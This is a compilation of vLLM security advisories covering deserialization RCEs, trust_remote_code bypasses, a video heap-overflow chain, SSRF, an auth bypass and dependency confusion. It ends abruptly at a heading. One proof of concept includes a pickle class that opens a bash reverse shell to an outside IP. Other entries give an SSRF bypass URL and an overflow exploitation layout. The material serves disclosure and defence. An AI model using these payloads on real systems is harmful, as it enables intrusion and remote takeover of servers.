See how vllm compares to other vendors in security performance
Impacted Deployments
Note that vLLM instances that do NOT make use of the mooncake integration are NOT vulnerable.
Description
vLLM integration with mooncake is vaulnerable to remote code execution due to using pickle based serialization over unsecured ZeroMQ sockets. The vulnerable sockets were set to listen on all network interfaces, increasing the likelihood that an attacker is able to reach the vulnerable ZeroMQ sockets to carry out an attack.
This is a similar to GHSA - x3m8 - f7g5 - qhm7, the problem is in
https://github.com/vllm-project/vllm/blob/32b14baf8a1f7195ca09484de3008063569b43c5/vllm/distributed/kvtransfer/kvpipe/mooncakepipe.py#L179
Here recvpyobj() Contains implicit pickle.loads(), which leads to potential RCE.
vllm-project vllm version v0.6.2 contains a vulnerability in the MessageQueue.dequeue() API function. The function uses pickle.loads to parse received sockets directly, leading to a remote code execution vulnerability. An attacker can exploit this by sending a malicious payload to the MessageQueue, causing the victim's machine to execute arbitrary code.
Impacted Environments
This issue ONLY impacts environments using the PyNcclPipe KV cache transfer integration with the V0 engine. No other configurations are affected.
Summary vLLM supports the use of the PyNcclPipe class to establish a peer-to-peer communication domain for data transmission between distributed nodes. The GPU-side KV-Cache transmission is implemented through the PyNcclCommunicator class, while CPU-side control message passing is handled via the sendobj and recvobj methods on the CPU side.
A remote code execution vulnerability exists in the PyNcclPipe service. Attackers can exploit this by sending malicious serialized data to gain server control privileges.
The intention was that this interface should only be exposed to a private network using the IP address specified by the --kv-ip CLI parameter. The vLLM documentation covers how this must be limited to a secured network: https://docs.vllm.ai/en/latest/deployment/security.html
Unfortunately, the default behavior from PyTorch is that the TCPStore interface will listen on ALL interfaces, regardless of what IP address is provided. The IP address given was only used as a client-side address to use. vLLM was fixed to use a workaround to force the TCPStore instance to bind its socket to a specified private interface.
This issue was reported privately to PyTorch and they determined that this behavior was intentional.
Details The PyNcclPipe implementation contains a critical security flaw where it directly processes client-provided data using pickle.loads , creating an unsafe deserialization vulnerability that can lead to Remote Code Execution.
1. Deploy a PyNcclPipe service configured to listen on port 18888 when launched: python from vllm.distributed.kvtransfer.kvpipe.pyncclpipe import PyNcclPipe from vllm.config import KVTransferConfig
config=KVTransferConfig( kvip="0.0.0.0", kvport=18888, kvrank=0, kvparallelsize=1, kvbuffersize=1024, kvbufferdevice="cpu" )
p=PyNcclPipe(config=config,localrank=0) p.recvtensor() # Receive data
2. The attacker crafts malicious packets and sends them to the PyNcclPipe service:
python from vllm.distributed.utils import StatelessProcessGroup
class Evil: def reduce(self): import os cmd='/bin/bash -c "bash -i >& /dev/tcp/172.28.176.1/8888 0>&1"' return (os.system,(cmd,))
client = StatelessProcessGroup.create( host='172.17.0.1', port=18888, rank=1, worldsize=2, )
client.sendobj(obj=Evil(),dst=0)
The call stack triggering RCE is as follows:
vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvimpl -> vllm.distributed.kvtransfer.kvpipe.pyncclpipe.PyNcclPipe.recvmetadata -> vllm.distributed.utils.StatelessProcessGroup.recvobj -> pickle.loads
Getshell as follows:
!image
Reporters
This issue was reported independently by three different parties:
@kikayli (Zhuque Lab, Tencent) @omjeki Russell Bryant (@russellb)
Fix
https://github.com/vllm-project/vllm/pull/15988 -- vLLM now limits the TCPStore socket to the private interface as configured.
Summary
vLLM loads Hugging Face automap dynamic modules during model resolution without gating on trustremotecode, allowing attacker-controlled Python code in a model repo/path to execute at server startup.
---
Impact
An attacker who can influence the model repo/path (local directory or remote Hugging Face repo) can achieve arbitrary code execution on the vLLM host during model load. This happens before any request handling and does not require API access.
---
Affected Versions
All versions where vllm/modelexecutor/models/registry.py resolves automap entries with trygetclassfromdynamicmodule without checking trustremotecode (at least current main).
---
Details
During model resolution, vLLM unconditionally iterates automap entries from the model config and calls trygetclassfromdynamicmodule, which delegates to Transformers’ getclassfromdynamicmodule and executes the module code.
This occurs even when trustremotecode is false, allowing a malicious model repo to embed code in a referenced module and have it executed during initialization.
Relevant code
- vllm/modelexecutor/models/registry.py:856 — automap resolution - vllm/transformersutils/dynamicmodule.py:13 — delegates to getclassfromdynamicmodule, which executes code
---
Fixes
https://github.com/vllm-project/vllm/pull/32194
Credits
Reported by bugbunny.ai
Summary
A chain of vulnerabilities in vLLM allow Remote Code Execution (RCE):
1. Info Leak - PIL error messages expose memory addresses, bypassing ASLR 2. Heap Overflow - JPEG2000 decoder in OpenCV/FFmpeg has a heap overflow that lets us hijack code execution
Result: Send a malicious video URL to vLLM Completions or Invocations for a video model -> Execute arbitrary commands on the server
Completely default vLLM instance directly from pip, or docker, does not have authentication so "None" privileges are required, but even with non-default api-key enabled configuration this exploit is feasible through invocations route that allows payload to execute pre-auth.
Example heap target is provided, other heap targets can be exploited as well to achieve rce. Leak allows for simple ASLR bypass. Leak + heap overflow achieves RCE on versions prior to 0.14.1.
Deployments not serving a video model are not affected.
---
1. Vulnerability Overview
1.1 The Bug: JPEG2000 cdef Box Heap Overflow The JPEG2000 decoder used by OpenCV (cv2) honors a cdef box that can remap color channels. When Y (luma) is mapped into the U (chroma) plane buffer, the decoder writes a large Y plane into the smaller U buffer, causing a heap overflow.
Root Cause - cdef allows channel remapping (e.g., Y→U, U→Y). - Y plane size: W×H; U plane size: (W/2)×(H/2). - Overflow size = W×H - (W/2×H/2) = 0.75 × W × H bytes.
Example (150×64) - Y plane: 150×64 = 9,600 bytes - U plane: 75×32 = 2,400 bytes - Overflow: 7,200 bytes past the U buffer
1.2 Malicious cdef Box Offset Size Field Value 0 4 Box Length 0x00000016 (22 bytes) 4 4 Box Type 'cdef' 8 2 N (channels) 0x0003 10 2 Channel 0 Cn 0x0000 (Y channel) 12 2 Channel 0 Typ 0x0000 (color) 14 2 Channel 0 Asoc 0x0002 (→ maps Y into U plane) 16 2 Channel 1 Cn 0x0001 (U channel) 18 2 Channel 1 Typ 0x0000 (color) 20 2 Channel 1 Asoc 0x0001 (→ maps U into Y plane) 22 2 Channel 2 Cn 0x0002 (V channel) 24 2 Channel 2 Typ 0x0000 (color) 26 2 Channel 2 Asoc 0x0003 (→ maps V plane) Key control: Asoc=2 for channel 0 forces Y data into the U buffer, triggering the overflow.
---
Vulnerable Code Chain
1) Entry: vLLM accepts a remote videourl and downloads raw bytes
vLLM’s OpenAI-compatible API supports a videourl content part:
python class VideoURL(TypedDict, total=False): url: Required[str]
class ChatCompletionContentPartVideoParam(TypedDict, total=False): videourl: Required[VideoURL] type: Required[Literal["videourl"]]
Source: src/vllm/entrypoints/chatutils.py.
When the URL is HTTP(S), vLLM downloads it as raw bytes and passes the bytes into the modality loader:
python if urlspec.scheme.startswith("http"): data = connection.getbytes(url, timeout=fetchtimeout, allowredirects=...) return mediaio.loadbytes(data)
Source: src/vllm/multimodal/utils.py (MediaConnector.loadfromurl).
---
2) Decode: vLLM uses OpenCV (cv2) VideoCapture on an in-memory byte stream
The default video backend is OpenCV, and it constructs cv2.VideoCapture over a BytesIO buffer containing the downloaded bytes:
python backend = cls().getcv2videoapi() cap = cv2.VideoCapture(BytesIO(data), backend, []) if not cap.isOpened(): raise ValueError("Could not open video stream")
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.loadbytes).
The backend is selected from OpenCV’s stream-buffered backends registry:
python import cv2.videoioregistry as vr for backend in vr.getStreamBufferedBackends(): if vr.hasBackend(backend) and ...: apipref = backend break return apipref
Source: src/vllm/multimodal/video.py (OpenCVVideoBackend.getcv2videoapi).
Implication: vLLM is delegating container parsing + codec decode to OpenCV’s Video I/O stack (which, in typical builds, is backed by FFmpeg for MOV/MP4 and codecs like JPEG2000).
---
3) The actual overflow: Y (full-res) written into U (quarter-res)
When the decoder honors the remap and writes Y into the U-plane buffer, it writes too many bytes:
- Y plane bytes: \(W \times H\) - U plane bytes: \((W/2) \times (H/2)\) - Overflow bytes: \(W \times H - (W/2 \times H/2) = 0.75 \times W \times H\)
Concrete example tried (150×64):
- Y: \(150 \times 64 = 9600\) bytes - U: \(75 \times 32 = 2400\) bytes - Overflow: \(9600 - 2400 = 7200\) bytes past the end of the U allocation
This is a heap buffer overflow into whatever allocations follow the U-plane buffer in the decoder’s heap layout (structures, metadata, other buffers, etc.). The exact victims depend on build + runtime allocator layout.
---
The Exploit Chain
Vuln 1: PIL BytesIO Address Leak (ASLR Bypass)
When you send an invalid image to vLLM's multimodal endpoint, PIL throws an error like:
cannot identify image file <io.BytesIO object at 0x7a95e299e750> ^^^^^^^^^^^^^^^^ LEAKED ADDRESS!
vLLM returns this error to the client, leaking a heap address. This address is ~10.33 GB before libc in memory. With this leak, we reduce ASLR from 4 billion guesses to ~8 guesses.
Vuln 2: JPEG2000 cdef Heap Overflow (RCE)
vLLM uses OpenCV (cv2) to decode videos. OpenCV bundles FFmpeg 5.1.x which has a heap overflow in the JPEG2000 decoder. The OpenCV is used for video decoding so if we build a video from JPEG2000 frames it will reach the vuln:
vLLM API Request to Completions/Invocation ↓ OpenCV cv2.VideoCapture() ↓ FFmpeg 5.1 (bundled in OpenCV) ↓ JPEG2000 decoder (libopenjp2) ↓ HEAP OVERFLOW via malicious "cdef" box ↓ Overwrite function pointer → RCE!
How the overflow works: - JPEG2000 has a cdef box that remaps color channels - We remap Y (luma) into the U (chroma) buffer - Y plane = 9,600 bytes, U plane = 2,400 bytes - On small geometry like 150x64 pixel image we get 7,200 bytes overflow past the U buffer. We can grow that exponentially by making bigger images. - This overwrites an AVBuffer structure containing a free() function pointer. This could be any function pointer or other targets. - We set free = system() and opaque = "command string" - When the buffer is freed → system("our command") executes
---
vLLM Attack Surface
Affected Endpoints
Both multimodal endpoints are vulnerable:
POST /v1/chat/completions (with videourl in content) POST /v1/invocations (with videourl in content)
Request Flow
1. Attacker sends request with videourl pointing to malicious .mov file 2. vLLM fetches the video from the URL 3. vLLM passes video bytes to cv2.VideoCapture() 4. OpenCV's bundled FFmpeg decodes JPEG2000 frames 5. Malicious cdef box triggers heap overflow 6. AVBuffer.free pointer overwritten with system() 7. When buffer is released → system("attacker command") executes
---
Versions Affected
| Component | Version | Notes | |-----------|---------|-------| | vLLM | >= 0.8.3, < 0.14.1 | Default config vulnerable when serving a video model | | OpenCV (cv2) | 4.x with FFmpeg bundle | Bundled FFmpeg is vulnerable | | FFmpeg | 5.1.x (bundled) | JPEG2000 cdef overflow | | libopenjp2 | 2.x | Honors malicious cdef box |
---
Fixes
https://github.com/vllm-project/vllm/pull/31987 https://github.com/vllm-project/vllm/pull/32319 https://github.com/vllm-project/vllm/pull/32668
Summary
The SSRF protection fix for https://github.com/vllm-project/vllm/security/advisories/GHSA-qh4c-xf7m-gxfc can be bypassed in the loadfromurlasync method due to inconsistent URL parsing behavior between the validation layer and the actual HTTP client.
Affected Component
- File: vllm/connections.py - Function: loadfromurlasync
Vulnerability Details
Root Cause
The SSRF fix uses urllib3.util.parseurl() to validate and extract the hostname from user-provided URLs. However, loadfromurlasync uses aiohttp for making the actual HTTP requests, and aiohttp internally uses the yarl library for URL parsing.
These two URL parsers handle backslash characters (\) differently:
| Parser | Input URL | Parsed Host | Parsed Path | Behavior | |--------|-----------|-------------|-------------|----------| | urllib3.parseurl() | https://httpbin.org\@evil.com/ | httpbin.org | /%5C@evil.com/ | URL-encodes \ as %5C, treats \@evil.com/ as part of the path | | yarl (via aiohttp) | https://httpbin.org\@evil.com/ | evil.com | / | Treats \ as part of userinfo (user: httpbin.org\), the @ acts as the userinfo/host separator |
Attack Scenario
python Attacker provides this URL maliciousurl = "https://httpbin.org\\@evil.com/"
1. Validation layer (urllib3.parseurl) parsed = urllib3.util.parseurl(maliciousurl) parsed.host == "httpbin.org" ✅ Passes validation
2. Actual request (aiohttp with yarl) async with aiohttp.ClientSession() as session: async with session.get(maliciousurl) as response: # Request actually goes to evil.com! ❌ Bypass!
Why This Happens
1. yarl: Interprets httpbin.org\ as the userinfo component, and @ as the userinfo/host separator, so the URL is parsed as user=httpbin.org\, host=evil.com, path=/ 2. urllib3: URL-encodes the backslash as %5C, so \@evil.com/ becomes /%5C@evil.com/ which is treated as part of the path, leaving host=httpbin.org
This inconsistency allows an attacker to: - Bypass the hostname allowlist check - Access arbitrary internal/external services - Perform full SSRF attacks
Fixes
- https://github.com/vllm-project/vllm/pull/34743
Summary
In vLLM 0.30.0, ImageMediaIO passes attacker-controlled image bytes to Pillow's format autodetection without restricting the accepted formats; the request's MIME label does not constrain decoder selection. An EPS payload labeled image/png reached the host's Ghostscript executable. On a host with Ghostscript affected by CVE-2024-29510, this exposes the known Ghostscript sandbox escape through vLLM's image-loading path and can execute commands with the vLLM process's privileges. A bounded marker-command payload executed through the PyPI wheel's actual ImageMediaIO.loadbase64() implementation using Debian Ghostscript 10.03.0. The loader-level execution is reproduced; the HTTP request path is source-traced but was not exercised end to end. This report concerns vLLM's untrusted-format dispatch and does not claim a new Ghostscript vulnerability. Exploitation requires an image-capable request path, a caller able to reach it under the deployment's authentication policy, and a vulnerable host Ghostscript build.
Details
ImageMediaIO is the boundary where attacker-controlled bytes enter Pillow's format autodetection: the declared MIME type does not constrain decoder selection, and the loader calls Image.open(BytesIO(data)) without a Pillow format allowlist. Pillow recognizes EPS by its file signature, and vLLM's subsequent image.load() call enters Pillow's EPS processing path. The OpenAI chat multimodal parser reaches this path through parseimage() and fetchimage() and the media connector; the data URL path extracts the MIME label and forwards the bytes to the loader (source). This is the vLLM-specific issue: untrusted image bytes can select a Pillow-supported format parser. Each downstream impact depends on the relevant parser, component version, and host configuration.
Pillow recognizes EPS by its file signature and invokes Ghostscript with -dSAFER, -sDEVICE=pnmraw, and the untrusted EPS input (Pillow EPS plugin, load path). The command execution in this report uses the already-known Ghostscript CVE-2024-29510, which allows crafted PostScript to bypass -dSAFER; Ghostscript lists 10.03.1 as the upstream fixed version (Ghostscript CVE details). This is an N-day dependency chain: CVE-2024-29510 provides the command-execution primitive, while the vLLM-specific issue is that untrusted, remotely supplied image bytes can reach the affected interpreter. No new Ghostscript flaw is claimed here.
The vLLM Python requirements declare Pillow but not Ghostscript, so this execution chain depends on a Ghostscript executable supplied by the host or deployment image. I reproduced command execution with the PyPI vllm==0.30.0 wheel, Pillow 12.3.0, and Debian amd64 Ghostscript 10.03.0~dfsg-1. The Codean Labs CVE-2024-29510 testkit identified that Ghostscript build as vulnerable. The adapted EPS payload ran only touch on a temporary marker. The marker existed after the loader call, although Pillow then raised ValueError because the exploit changes Ghostscript's output device. The API route was traced in source but a model-backed HTTP request was not run. Only PyPI vllm==0.30.0 was checked; no wider affected release range or other Ghostscript vendor build is claimed.
The same input boundary also exposes a separate Pillow-only denial-of-service condition when the installed Pillow version is 12.0.0–12.2.0. CVE-2026-59203 is triggered by a negative %%BeginBinary byte count and causes Pillow's EPS parser to loop during Image.open(); it does not invoke Ghostscript or provide code execution (Pillow advisory). The published vllm==0.30.0 requirements leave Pillow unpinned, so an existing environment can retain an affected Pillow version; the source at commit bc21cba9673cfc2256a2726b4bc32f062237cd35 requires pillow>=12.3.0. In an isolated local check with Pillow 12.2.0, the official sample hung through ImageMediaIO.loadbytes() and MediaConnector.fetchimageasync(). Eight concurrent image loads occupied the connector's eight media-loading threads and left a benign image load queued. Pillow 12.3.0 rejected the sample promptly. This confirms a conditional media-processing DoS path, separate from the Ghostscript RCE chain; full HTTP-server availability was not measured.
Impact
When a vLLM image-processing endpoint accepts attacker-supplied content and the host has Ghostscript affected by CVE-2024-29510, a caller who can reach the endpoint can trigger command execution as the vLLM process user. API-key authentication and network access controls determine who can reach the request path. Deployments without Ghostscript or with a build fixed for CVE-2024-29510 are not affected by this execution chain. Separately, existing environments that run vLLM 0.30.0 with Pillow 12.0.0–12.2.0 are exposed to CVE-2026-59203 through the same image-format dispatch boundary; the demonstrated impact is exhaustion of media-loading workers, and this Pillow CVE does not cause RCE. The report asks vLLM to assess and address the unsafe dispatch of untrusted image bytes and the affected dependency combinations.
This advisory was fixed in MR60022.
Summary
An untrusted multimodal request can set mmprocessorkwargs.coderevision. When vLLM serves a model whose Hugging Face processor uses dynamic automap code and the operator enabled --trust-remote-code, this request value reaches AutoProcessor.frompretrained and selects the Python revision imported by Transformers.
This lets a client replace the operator-reviewed processor module with code from another revision of the same model repository. The operator-selected model/data revision remains pinned; only the executed processor code changes.
Importing a Python module is arbitrary code execution in the vLLM API/renderer process. The PoC below demonstrates this with an import-time filesystem write. It is fully offline and does not require a GPU, model weights, or changes to a real Hub repository.
Affected snapshot
- Repository: vllm-project/vllm - Verified commit: 570735520942b6428ae98f1eb442c6d88adae55e - Verified with Transformers 5.15.0 and 5.16.1 - Affected release range has not been bisected
Affected configuration
The vulnerable path exists when all of the following are true:
1. The served model's processor uses dynamic automap.AutoProcessor code. 2. The operator enabled trustremotecode. 3. The server can fetch the request-selected revision, or it is already cached. 4. The attacker can create or otherwise control a revision in the served model repository. An example is a Hugging Face community pull-request ref when that repository permits them. 5. A multimodal request reaches the processor path.
The default trustremotecode=False configuration is not affected.
Attack surface
mmprocessorkwargs is accepted directly by public request models:
- TokenizeChatRequest.mmprocessorkwargs - ChatCompletionRequest.mmprocessorkwargs
/tokenize is particularly relevant because vLLM's authentication middleware guards only /v1, /v2, /inference, and /cohere prefixes:
- AuthenticationMiddleware
Consequently, /tokenize remains unauthenticated even when --api-key is configured, unless an external proxy protects it. The vLLM Security Guide documents /tokenize as an unprotected endpoint.
Root cause
The request value follows this path:
1. OnlineRenderer.preprocesschat places request mmprocessorkwargs in prompt extras. 2. Multimodal rendering forwards those kwargs into processor construction through MMProcessorInputs and processmultimodalasync. 3. MultiModalConfig.mergemmprocessorkwargs overlays inference values on startup values, so the request wins. 4. cachedgetprocessorwithoutdynamickwargs filters only recognized processor-call keys. coderevision is retained as a processor-construction kwarg. 5. cachedprocessorfromconfig pins revision and trustremotecode, but forwards the remaining kwargs without reserving coderevision. 6. getprocessor calls AutoProcessor.frompretrained(..., revision=revision, trustremotecode=trustremotecode, kwargs). 7. Transformers AutoProcessor.frompretrained uses coderevision to retrieve and import the dynamic module through getclassfromdynamicmodule, then removes it before loading processor data. This is why code comes from the attacker revision while configuration/data remain operator-pinned.
Request-time processor arguments are not separated from processor-construction arguments, and coderevision is not reserved.
Suggested remediation
1. Separate processor-construction arguments from untrusted processor-call arguments. An allowlist of supported request-time preprocessing controls is safest. 2. Reject coderevision and other loader/source controls in request mmprocessorkwargs, and pass modelconfig.coderevision explicitly as the only permitted processor-code revision. 3. Add a regression test proving a request cannot change the loaded module revision while operator pins remain effective. 4. Protect /tokenize with the configured authentication policy as defense in depth.
Expected safe behavior is either a 4xx response for reserved request keys or silently ignoring them before processor construction. Rejection is preferable because it makes attempted misuse visible.
A patch for this was merged here: https://github.com/vllm-project/vllm/pull/58830
Summary When vLLM is configured to use Mooncake, unsafe deserialization exposed directly over ZMQ/TCP will allow attackers to execute remote code on distributed hosts.
Details 1. Pickle deserialization vulnerabilities are well documented. 2. The mooncake pipe is exposed over the network (by design to enable disaggregated prefilling across distributed environments) using ZMQ over TCP, greatly increasing exploitability. ~~Further, the mooncake integration opens these sockets listening on all interfaces on the host, meaning it can not be configured to only use a private, trusted network.~~
Only sendersocket and receiverack are allowed to be accessed publicly, while the data actually decompressed by pickle.loads() comes from recvbytes. Its interface is defined as self.receiversocket.connect(f\"tcp://{dhost}:{drankoffset + 1}\"), where dhost is decodehost, a locally defined address 192.168.0.139,from mooncake.json (https://github.com/kvcache-ai/Mooncake/blob/main/doc/en/vllm-integration-v0.2.md?plain=1#L36).
3. The root problem is recvtensor() calls recvimpl which passes the raw network bytes to pickle.loads(). Additionally, it does not appear that there are any controls (network, authentication, etc) to prevent arbitrary users from sending this payload to the affected service.
Impact This is a remote code execution vulnerability impacting any deployments using Mooncake to distribute KV across distributed hosts.
Remediation This issue is resolved by https://github.com/vllm-project/vllm/pull/14228
Summary
A vulnerability in ASGI web servers and starlette's trust on those web servers enables an authentication bypass of the OpenAI API AuthenticationMiddleware, which was discovered during @x41sec's source code audit. It allows to use the API without providing the configured VLLMAPIKEY or --api-key.
Details
In https://github.com/vllm-project/vllm/blob/v0.14.0/vllm/entrypoints/openai/apiserver.py#L689-L692 the urlpath is taken from the URL, which is reconstructed by starlette based on the request scope.
py from starlette.datastructures import URL, Headers, MutableHeaders, State
...
urlpath = URL(scope=scope).path.removeprefix(rootpath) headers = Headers(scope=scope) if urlpath.startswith("/v1") and not self.verifytoken(headers): response = JSONResponse(content={"error": "Unauthorized"}, statuscode=401) return response(scope, receive, send) return self.app(scope, receive, send)
The request scope includes the request's Host: header and reconstructs the URL as shown below:
py f"{scheme}://{hostheader}{path}"
Neither starlette nor any of the ASGI servers (including uvicorn, which vllm uses) properly filter the Host: header for invalid characters. This allows an attacker to include special URL characters such as / or ? in the Host: header and thereby control the reconstructed URL and it's .path attribute.
FastAPI/starlette's routing uses the HTTP path and does not depend on the parsed url.path attribute, allowing attackers to reach an endpoint via a certain path while providing a different value in the .path.
Impact - Instances of vllm that use an API Key for the OpenAI API and expose the API to attackers. - Instances behind an RFC-conforming web server (such as nginx) are not affected.
Description The vllm/modelexecutor/weightutils.py implements hfmodelweightsiterator to load the model checkpoint, which is downloaded from huggingface. It use torch.load function and weightsonly parameter is default value False. There is a security warning on https://pytorch.org/docs/stable/generated/torch.load.html, when torch.load load a malicious pickle data it will execute arbitrary code during unpickling.
Impact This vulnerability can be exploited to execute arbitrary codes and OS commands in the victim machine who fetch the pretrained repo remotely.
Note that most models now use the safetensors format, which is not vulnerable to this issue.
References https://pytorch.org/docs/stable/generated/torch.load.html Fix: https://github.com/vllm-project/vllm/pull/12366
Summary A memory corruption vulnerability that leading to a crash (denial-of-service) and potentially remote code execution (RCE) exists in vLLM versions 0.10.2 and later, in the Completions API endpoint. When processing user-supplied prompt embeddings, the endpoint loads serialized tensors using torch.load() without sufficient validation.
Due to a change introduced in PyTorch 2.8.0, sparse tensor integrity checks are disabled by default. As a result, maliciously crafted tensors can bypass internal bounds checks and trigger an out-of-bounds memory write during the call to todense(). This memory corruption can crash vLLM and potentially lead to code execution on the server hosting vLLM.
Details A vulnerability that can lead to RCE from the completions API endpoint exists in vllm, where due to missing checks when loading user-provided tensors, an out-of-bounds write can be triggered. This happens because the default behavior of torch.load(tensor, weightsonly=True) since pytorch 2.8.0 is to not perform validity checks for sparse tensors, and this needs to be enabled explicitly using the torch.sparse.checksparsetensorinvariants context manager.
The vulnerability is in the following code in vllm/entrypoints/renderer.py:148
python def loadandvalidateembed(embed: bytes) -> EngineEmbedsPrompt: tensor = torch.load( io.BytesIO(pybase64.b64decode(embed, validate=True)), weightsonly=True, maplocation=torch.device("cpu"), ) assert isinstance(tensor, torch.Tensor) and tensor.dtype in ( torch.float32, torch.bfloat16, torch.float16, ) tensor = tensor.todense()
Because of the missing checks, loading invalid prompt embedding tensors provided by the user can cause an out-of-bounds write in the call to todense .
Impact All users with access to this API are able to exploit this vulnerability. Unsafe deserialization of untrusted input can be abused to achieve DoS and potentially remote code execution (RCE) in the vLLM server process. This impacts deployments running vLLM as a server or any instance that deserializes untrusted/model-provided payloads.
Fix
https://github.com/vllm-project/vllm/pull/27204
Acknowledgements
Finder: AXION Security Research Team (Omri Fainaro, Bary Levy): discovery and coordinated disclosure.
Summary
vllm has a critical remote code execution vector in a config class named NemotronNanoVLConfig. When vllm loads a model config that contains an automap entry, the config class resolves that mapping with getclassfromdynamicmodule(...) and immediately instantiates the returned class. This fetches and executes Python from the remote repository referenced in the automap string. Crucially, this happens even when the caller explicitly sets trustremotecode=False in vllm.transformersutils.config.getconfig. In practice, an attacker can publish a benign-looking frontend repo whose config.json points via automap to a separate malicious backend repo; loading the frontend will silently run the backend’s code on the victim host.
Details
The vulnerable code resolves and instantiates classes from automap entries without checking whether those entries point to a different repo or whether remote code execution is allowed.
python class NemotronNanoVLConfig(PretrainedConfig): modeltype = 'LlamaNemotronNanoVL'
def init(self, kwargs): super().init(kwargs)
if visionconfig is not None: assert "automap" in visionconfig and "AutoConfig" in visionconfig["automap"] # <-- vulnerable dynamic resolution + instantiation happens here visionautoconfig = getclassfromdynamicmodule(visionconfig["automap"]["AutoConfig"].split("--")[::-1]) self.visionconfig = visionautoconfig(visionconfig) else: self.visionconfig = PretrainedConfig()
getclassfromdynamicmodule(...) is capable of fetching and importing code from the Hugging Face repo specified in the mapping. trustremotecode is not enforced for this code path. As a result, a frontend repo can redirect the loader to any backend repo and cause code execution, bypassing the trustremotecode guard.
Impact
This is a critical vulnerability because it breaks the documented trustremotecode safety boundary in a core model-loading utility. The vulnerable code lives in a common loading path, so any application, service, CI job, or developer machine that uses vllm’s transformer utilities to load configs can be affected. The attack requires only two repos and no user interaction beyond loading the frontend model. A successful exploit can execute arbitrary commands on the host.
Fixes
https://github.com/vllm-project/vllm/pull/28126
Summary
Two model implementation files hardcode trustremotecode=True when loading sub-components, bypassing the user's explicit --trust-remote-code=False security opt-out. This enables remote code execution via malicious model repositories even when the user has explicitly disabled remote code trust.
### Details
Affected files (latest main branch):
1. vllm/modelexecutor/models/nemotronvl.py:430 python visionmodel = AutoModel.fromconfig(config.visionconfig, trustremotecode=True)
2. vllm/modelexecutor/models/kimik25.py:177 python cachedgetimageprocessor(self.ctx.modelconfig.model, trustremotecode=True)
Both pass a hardcoded trustremotecode=True to HuggingFace API calls, overriding the user's global --trust-remote-code=False setting.
Relation to prior CVEs: - CVE-2025-66448 fixed automap resolution in vllm/transformersutils/config.py (config loading path) - CVE-2026-22807 fixed broader automap at startup - Both fixes are present in the current code. These hardcoded instances in model files survived both patches — different code paths.
Impact
Remote code execution. An attacker can craft a malicious model repository that executes arbitrary Python code when loaded by vLLM, even when the user has explicitly set --trust-remote-code=False. This undermines the security guarantee that trustremotecode=False is intended to provide.
Remediation: Replace hardcoded trustremotecode=True with self.config.modelconfig.trustremotecode in both files. Raise a clear error if the model component requires remote code but the user hasn't opted in.
vLLM is an inference and serving engine for large language models (LLMs). Prior to 0.22.1, the vLLM Dockerfile is vulnerable to a dependency confusion attack through the flashinfer-jit-cache package. The package is installed from a custom index (flashinfer.ai/whl/) using --extra-index-url, but the package name was not registered on PyPI, and UVINDEXSTRATEGY="unsafe-best-match" is set globally. An attacker who registers flashinfer-jit-cache on PyPI with version 0.6.11.post2 can execute arbitrary code as root during the Docker build and backdoor every resulting container image, enabling exfiltration of all user prompts, API credentials, and model data from production vLLM deployments This vulnerability is fixed in 0.22.1.
vLLM from 0.9.2 before 0.24.0 contains a server-side request forgery vulnerability that allows API callers to force outbound connections by embedding a decode address in the X-Request-Id header. Attackers can make a P2pNcclConnector prefill worker ZMQ-connect to an attacker host, leaking the NCCL uniqueid and KV-cache tensors or blocking the worker.
Affected
- Ecosystem / package: pip / vllm - Affected versions: vLLM < 0.32.0.
Summary
When --mm-processor-cache-type shm is enabled, vLLM's multimodal SHM cache represents a cached item with an address and monotonicid pair and treats that pair as authority to dereference shared memory in the worker. A public scale-out request can supply its own multimodal features.kwargsdata, so an authenticated caller can forge an inner SHM carrier that points at attacker-controlled bytes already staged in the ring buffer. The worker then reaches pickle.loads() while deserializing the forged object.
This is reachable through ordinary public HTTP routes and does not require VLLMALLOWINSECURESERIALIZATION=1. The live chain used /v1/chat/completions/render to obtain a valid feature envelope, /v1/chat/completions to stage attacker-chosen bytes into SHM, and /inference/v1/generate to submit the forged inner carrier.
Affected code
Links pinned to the confirmed commit 752a3a504485 (v0.25.1):
- vllm/distributed/devicecommunicators/shmobjectstorage.py#L375-L400 — SHM object deserialization reaches pickle.loads(serializeddata) for byte objects. - vllm/multimodal/cache.py#L567-L581 — sender emits an SHM carrier containing only address and monotonicid. - vllm/multimodal/cache.py#L711-L737 — worker dereferences the untrusted pair and reads the SHM object. - vllm/entrypoints/scaleout/tokenintokenout/serving.py#L146-L173 — public features.kwargsdata is decoded into engine input without authenticating SHM handles before handoff.
The public scale-out route decodes attacker-controlled features.kwargsdata into MultiModalKwargsItems and hands them straight to the engine — no authentication of the SHM handle:
python vllm/entrypoints/scaleout/tokenintokenout/serving.py Lines 155-165 # Deserialize tensor data when present; None → cache hit. mmkwargs: dict[str, list[MultiModalKwargsItem | None]] = {} if features.kwargsdata is not None: for modality, items in features.kwargsdata.items(): mmkwargs[modality] = [ decodemmkwargsitem(item) if item is not None else None for item in items ] else: for modality, hashes in features.mmhashes.items(): mmkwargs[modality] = [None] len(hashes)
In the worker, a decoded item that carries an address is treated as authority to dereference shared memory: the (address, monotonicid) pair alone drives the read, with no binding to the cache key or to who issued the handle:
python vllm/multimodal/cache.py Lines 711-723 @override def getandupdateitem( self, mmitem: MultiModalKwargsItem | None, mmhash: str, ) -> MultiModalKwargsItem: assert mmitem is not None, f"Expected an address item for {mmhash=}" if "address" in mmitem: address = cast(int, mmitem["address"].data) monotonicid = cast(int, mmitem["monotonicid"].data) return self.shmcache.get(address, monotonicid)
return mmitem
The dereference lands in the SHM deserializer, which pickle.loads() any chunk tagged as bytes — so attacker bytes staged in the ring buffer are unpickled in the worker process:
python vllm/distributed/devicecommunicators/shmobjectstorage.py Lines 375-400 def deserialize(self, dataview: memoryview) -> Any: # pickle.loads do not read past the end of a pickled object # within a large buffer, so we can skip storing the metadata size typename, nbytes, lenarr = pickle.loads(dataview) serializeddata = dataview[-nbytes:]
if typename == torch.Tensor.name: obj = [] startidx = 0 for length in lenarr: itembytes = serializeddata[startidx : startidx + length] obj.append(itembytes) startidx += length obj = self.tensordecoder.decode(obj) elif typename == self.mmkwargsitemcls.name: obj = [] startidx = 0 for length in lenarr: itembytes = serializeddata[startidx : startidx + length] obj.append(itembytes) startidx += length obj = self.mmdecoder.decode(obj) elif typename == bytes.name: obj = pickle.loads(serializeddata) else: raise ValueError(f"Unsupported object type '{typename}' in metadata")
return obj
Impact
